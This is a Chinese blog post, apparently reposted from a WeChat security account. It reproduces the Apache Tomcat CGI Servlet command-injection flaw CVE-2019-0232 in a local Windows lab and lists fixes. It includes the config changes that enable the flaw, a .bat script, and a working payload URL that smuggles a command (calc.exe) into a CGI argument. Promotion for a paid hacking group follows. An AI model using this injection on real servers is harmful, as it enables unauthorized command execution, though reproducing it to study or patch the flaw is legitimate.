Tomcat远程代码执行(CVE-2019-0232)

admin 2023年2月27日01:35:28评论69 views字数 2108阅读7分1秒阅读模式

一、漏洞介绍

2019年4月13号,Apache Tomcat 9.0.18版本公告中提到,本次更新修复了一个代号为CVE-2019-0232的漏洞。

该漏洞只对Windows平台有效,Apache Tomcat 9.0.0.M19.0.178.5.08.5.397.0.07.0.93中的CGI Servlet很容易受到远程执行代码的影响,攻击者向CGI Servlet发送一个精心设计的请求,可以在具有Apache Tomcat权限的系统上注入和执行任意操作系统命令,漏洞成因是当将参数从JRE传递到Windows环境时,由于CGI_Servlet中输入验证错误而存在该漏洞。

二、触发条件


1、系统为Windows2、启用了CGI Servlet3、启用了enableCmdLineArguments(Tomcat9.0.*及官方未来发布版本默认为关闭)。


三、影响范围


Apache Tomcat 9.0.0.M1~9.0.17Apache Tomcat 8.5.0 ~ 8.5.39Apache Tomcat 7.0.0 ~ 7.0.93(本漏洞测试环境为Apache Tomcat 9.0.13)


下载地址为:https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.13/

四、环境配置及搭建

1、下载好安装包之后,进入bin目录执行startup.bat启动tomcat。

Tomcat远程代码执行(CVE-2019-0232)

2、我们访问链接:http://localhost:8080/

Tomcat远程代码执行(CVE-2019-0232)

3、修改配置文件,TomcatCGI Servlrt组件默认时关闭的,在conf/web.xml中找到CGIServlet部分,删除注释,并配置enableCmdLineArguments和executable(删除注释的一共两部分,源文件没有enableCmdLineArgumentsexecutable参数所以需要手打即下方红框内容)。

添加内容如下:

    <servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi-bin</param-value>
</init-param>
<init-param>
<param-name>enableCmdLineArguments</param-name>
<param-value>true</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>

Tomcat远程代码执行(CVE-2019-0232)

红框中,是我们需要添加的内容并删除注释。

Tomcat远程代码执行(CVE-2019-0232)

这个红框中,默认也是注释的,我们需要放开注释。

4、接着修改conf/conttext.xml文档中的<Context>添加 privileged="true"的语句。

Tomcat远程代码执行(CVE-2019-0232)

5、在apache-tomcat-9.0.13安装包中的webapps/ROOT/WEB-INF目录下新建cgi-bin文件夹,并在文件夹内创建bat文件,bat文件内容如下。

@echo off
echo Content-Type: test/plain
echo.
set foo=&~1
%foo%

Tomcat远程代码执行(CVE-2019-0232)

配置完成之后,我们重启Tomcat服务。

6、利用payload:http://localhost:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Ccalc.exeTomcat远程代码执行(CVE-2019-0232)

7、漏洞复现完成。

五、修复建议


1、禁用enableCmdLineArguments参数。2、在conf/web.xml中覆写采用更严格的参数合法性检验规则。3、升级tomcat到9.0.17以上的版本。




付费圈子


欢 迎 加 入 星 球 !

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

Tomcat远程代码执行(CVE-2019-0232)

进成员内部群


Tomcat远程代码执行(CVE-2019-0232)



Tomcat远程代码执行(CVE-2019-0232)

星球的最近主题和星球内部工具一些展示


Tomcat远程代码执行(CVE-2019-0232)


Tomcat远程代码执行(CVE-2019-0232)

Tomcat远程代码执行(CVE-2019-0232)

Tomcat远程代码执行(CVE-2019-0232)

Tomcat远程代码执行(CVE-2019-0232)

Tomcat远程代码执行(CVE-2019-0232)

Tomcat远程代码执行(CVE-2019-0232)

Tomcat远程代码执行(CVE-2019-0232)

Tomcat远程代码执行(CVE-2019-0232)



关 注 有 礼



关注下方公众号回复“666”可以领取一套领取黑客成长秘籍

Tomcat远程代码执行(CVE-2019-0232) 还在等什么?赶紧点击下方名片关注学习吧!Tomcat远程代码执行(CVE-2019-0232)


Tomcat远程代码执行(CVE-2019-0232)



群聊 | 技术交流群-群除我佬


干货|史上最全一句话木马


干货 | CS绕过vultr特征检测修改算法


实战 | 用中国人写的红队服务器搞一次内网穿透练习


实战 | 渗透某培训平台经历


实战 | 一次曲折的钓鱼溯源反制


免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

原文始发于微信公众号(渗透安全团队):Tomcat远程代码执行(CVE-2019-0232)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月27日01:35:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Tomcat远程代码执行(CVE-2019-0232)http://cn-sec.com/archives/1576557.html

发表评论

匿名网友 填写信息